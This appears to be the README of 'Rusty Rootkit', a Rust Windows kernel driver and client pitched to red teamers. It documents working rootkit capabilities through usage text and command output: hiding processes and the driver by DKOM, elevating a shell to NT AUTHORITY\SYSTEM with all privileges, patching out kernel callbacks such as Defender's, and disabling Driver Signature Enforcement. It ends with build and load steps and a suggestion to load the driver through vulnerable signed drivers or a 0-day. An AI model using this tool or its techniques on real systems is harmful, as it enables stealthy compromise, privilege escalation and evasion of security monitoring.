Windows Kernel Driver in Rust (Rusty Rootkit) for Red Teamers
Features (Development in progress)
- Protect / unprotect process (Done)
- Elevate to NT AUTHORITY\SYSTEM and Enable all token privileges (Done)
- Hide process (Done)
- Hide driver (Done)
- Enumerate loaded kernel modules (Done)
- Enumerate / remove kernel callbacks
- PsSetCreateProcessNotifyRoutine (Done)
- PsSetCreateThreadNotifyRoutine (Todo)
- PsSetLoadImageNotifyRoutine (Todo)
- CmRegisterCallbackEx (Todo)
- ObRegisterCallbacks (Todo)
- DSE enable/disable (Done)
Usage
PS C:\Users\memn0ps\Desktop> .\client.exe -h
client 0.1.0
USAGE:
client.exe <SUBCOMMAND>
OPTIONS:
-h, --help Print help information
-V, --version Print version information
SUBCOMMANDS:
callbacks
driver
dse
help Print this message or the help of the given subcommand(s)
process
client.exe-process
USAGE:
client.exe process --name <PROCESS> <--protect|--unprotect|--elevate|--hide>
OPTIONS:
-e, --elevate Elevate all token privileges
-h, --help Print help information
--hide Hide a process using Direct Kernel Object Manipulation (DKOM)
-n, --name <PROCESS> Target process name
-p, --protect Protect a process
-u, --unprotect Unprotect a process
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h
client.exe-callbacks
USAGE:
client.exe callbacks <--enumerate|--patch <PATCH>>
OPTIONS:
-e, --enumerate Enumerate kernel callbacks
-h, --help Print help information
-p, --patch <PATCH> Patch kernel callbacks 0-63
PS C:\Users\memn0ps\Desktop> .\client.exe dse -h
client.exe-dse
USAGE:
client.exe dse <--enable|--disable>
OPTIONS:
-d, --disable Disable Driver Signature Enforcement (DSE)
-e, --enable Enable Driver Signature Enforcement (DSE)
-h, --help Print help information
PS C:\Users\memn0ps\Desktop> .\client.exe driver -h
client.exe-driver
USAGE:
client.exe driver <--hide|--enumerate>
OPTIONS:
-e, --enumerate Enumerate loaded kernel modules
-h, --help Print help information
--hide Hide a driver using Direct Kernel Object Manipulation (DKOM)
Enumerate and Patch Kernel Callbacks
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 11
[0] 0xffffbd8d3d2502df ("ntoskrnl.exe")
[1] 0xffffbd8d3d2fe81f ("cng.sys")
[2] 0xffffbd8d3db2bc8f ("WdFilter.sys")
[3] 0xffffbd8d3db2bf8f ("ksecdd.sys")
[4] 0xffffbd8d3db2c0df ("tcpip.sys")
[5] 0xffffbd8d3f10705f ("iorate.sys")
[6] 0xffffbd8d3f10765f ("CI.dll")
[7] 0xffffbd8d3f10789f ("dxgkrnl.sys")
[8] 0xffffbd8d3fa37cff ("vm3dmp.sys")
[9] 0xffffbd8d3f97104f ("peauth.sys")
[10] 0xffffbd8d43afb63f ("Eagle.sys")
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] Callback patched successfully at index 10
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 10
[0] 0xffffbd8d3d2502df ("ntoskrnl.exe")
[1] 0xffffbd8d3d2fe81f ("cng.sys")
[2] 0xffffbd8d3db2bc8f ("WdFilter.sys")
[3] 0xffffbd8d3db2bf8f ("ksecdd.sys")
[4] 0xffffbd8d3db2c0df ("tcpip.sys")
[5] 0xffffbd8d3f10705f ("iorate.sys")
[6] 0xffffbd8d3f10765f ("CI.dll")
[7] 0xffffbd8d3f10789f ("dxgkrnl.sys")
[8] 0xffffbd8d3fa37cff ("vm3dmp.sys")
[9] 0xffffbd8d3f97104f ("peauth.sys")
Protect Process
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] Process protected successfully 8248
Elevate to NT AUTHORITY\System and Enable All Token Privileges
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
================== ==============================================
windows-10-vm\user S-1-5-21-3694103140-4081734440-3706941413-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] Tokens privileges elevated successfully 6376
PS C:\Users\memn0ps\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:\Users\memn0ps\Desktop>
Enable / Disable Driver Signature Enforcement (DSE)
PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) enabled: 0x6
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 06
PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
Bytes returned: 16
[+] Driver Signature Enforcement (DSE) disabled: 0xe
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 0e
Hide Process
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] Process is hidden successfully: 6376
Hide Driver
Hidden from ZwQuerySystemInformation and PsLoadedModuleList
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..OMITTED..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] Loaded modules enumerated successfully
PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] Driver hidden successfully
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
Total Number of Modules: 184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<..OMITTED..>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] Loaded modules enumerated successfully
Install Rust
To start using Rust, download the installer, then run the program and follow the onscreen instructions. You may need to install the Visual Studio C++ Build tools when prompted to do so.
Install
Install and change to Rust nightly
rustup toolchain install nightly
rustup default nightly
Install cargo-make
Install cargo-make
cargo install cargo-make
Install WDK/SDK
- Step 1: Install Visual Studio 2019
- Step 2: Install Windows 11 SDK (22000.1)
- Step 3: Install Windows 11 WDK
Build Driver
Change directory to .\driver\ and build driver
cargo make sign
Build Client
Change directory to .\client\ and build client
cargo build
Enable Test Mode or Test Signing Mode
bcdedit /set testsigning on
[Optional] Debug via Windbg
bcdedit /debug on
bcdedit /dbgsettings net hostip:<IP> port:<PORT>
Create / Start Service
You can use Service Control Manager or OSR Driver Loader to load your driver.
PS C:\Users\memn0ps> sc.exe create Eagle type= kernel binPath= C:\Windows\System32\Eagle.sys
[SC] CreateService SUCCESS
PS C:\Users\memn0ps> sc.exe query Eagle
SERVICE_NAME: Eagle
TYPE : 1 KERNEL_DRIVER
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PS C:\Users\memn0ps> sc.exe start Eagle
SERVICE_NAME: Eagle
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
PS C:\Users\memn0ps> sc.exe stop Eagle
SERVICE_NAME: Eagle
TYPE : 1 KERNEL_DRIVER
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Currently, this driver does not support manual mapping. However, an alternative way to load your driver is to manually map it by exploiting an existing CVE in a signed driver that is already loaded such as Intel or Capcom, although vulnerable drivers can be flagged easily by EDRs or ACs.
- https://github.com/TheCruZ/kdmapper (
iqvw64e.sysIntel driver) - https://github.com/not-wlan/drvmap (
capcom.sysCapcom driver) - https://github.com/zorftw/kdmapper-rs
Otherwise you can always get an extended validation (EV) code signing certificate by Microsoft which goes through a "vetting" process or use a 0-day which is really up to you lol.
Note
A better way to code Windows Kernel Drivers in Rust is to create bindings as shown in the references below. However, using someone else's bindings hides the functionality and this is why I made it the classic way unless, of course, you create your own bindings. I plan on refactoring the code in the future but for now, it will be a bit messy and incomplete.
I made this project for fun and because I really like Rust and Windows Internals. This is obviously not perfect or finished yet. if you would like to learn more about Windows Kernel Programming then feel free to check out the references below. The prefered safe and robust way of coding Windows Kernel Drivers in Rust is shown here:
References and Credits
- https://not-matthias.github.io/kernel-driver-with-rust/ (Big thanks to @not_matthias)
- https://github.com/not-matthias/kernel-driver-with-rust/
- https://courses.zeropointsecurity.co.uk/courses/offensive-driver-development (Big thanks to @_RastaMouse)
- https://leanpub.com/windowskernelprogramming Windows Kernel Programming Book (Big thanks to Pavel Yosifovich @zodiacon)
- https://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 (Big thanks to Greg Hoglund and James Butler for Rootkits: Subverting the Windows Kernel Book)
- https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/ (Big thanks to HackSysTeam)
- https://codentium.com/guides/windows-dev/
- https://github.com/StephanvanSchaik/windows-kernel-rs/
- https://github.com/rmccrystal/kernel-rs
- https://github.com/pravic/winapi-kmd-rs
- https://guidedhacking.com/
- https://www.unknowncheats.me/
- https://gamehacking.academy/
- https://secret.club/
- https://back.engineering/
- https://www.vergiliusproject.com/kernels/x64
- https://www.crowdstrike.com/blog/evolution-protected-processes-part-1-pass-hash-mitigations-windows-81/
- https://discord.com/invite/rust-lang-community (Big thanks to: WithinRafael, Nick12, Zuix, DuckThatSits, matt1992, kpreid and many others)
- https://twitter.com/the_secret_club/status/1386215138148196353 Discord (hugsy, themagicalgamer)
- https://www.rust-lang.org/
- https://doc.rust-lang.org/book/
- https://posts.specterops.io/mimidrv-in-depth-4d273d19e148
- https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/
- https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/
- https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo
- https://github.com/XaFF-XaFF/Cronos-Rootkit/
- https://github.com/JKornev/hidden
- https://github.com/landhb/HideProcess
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation
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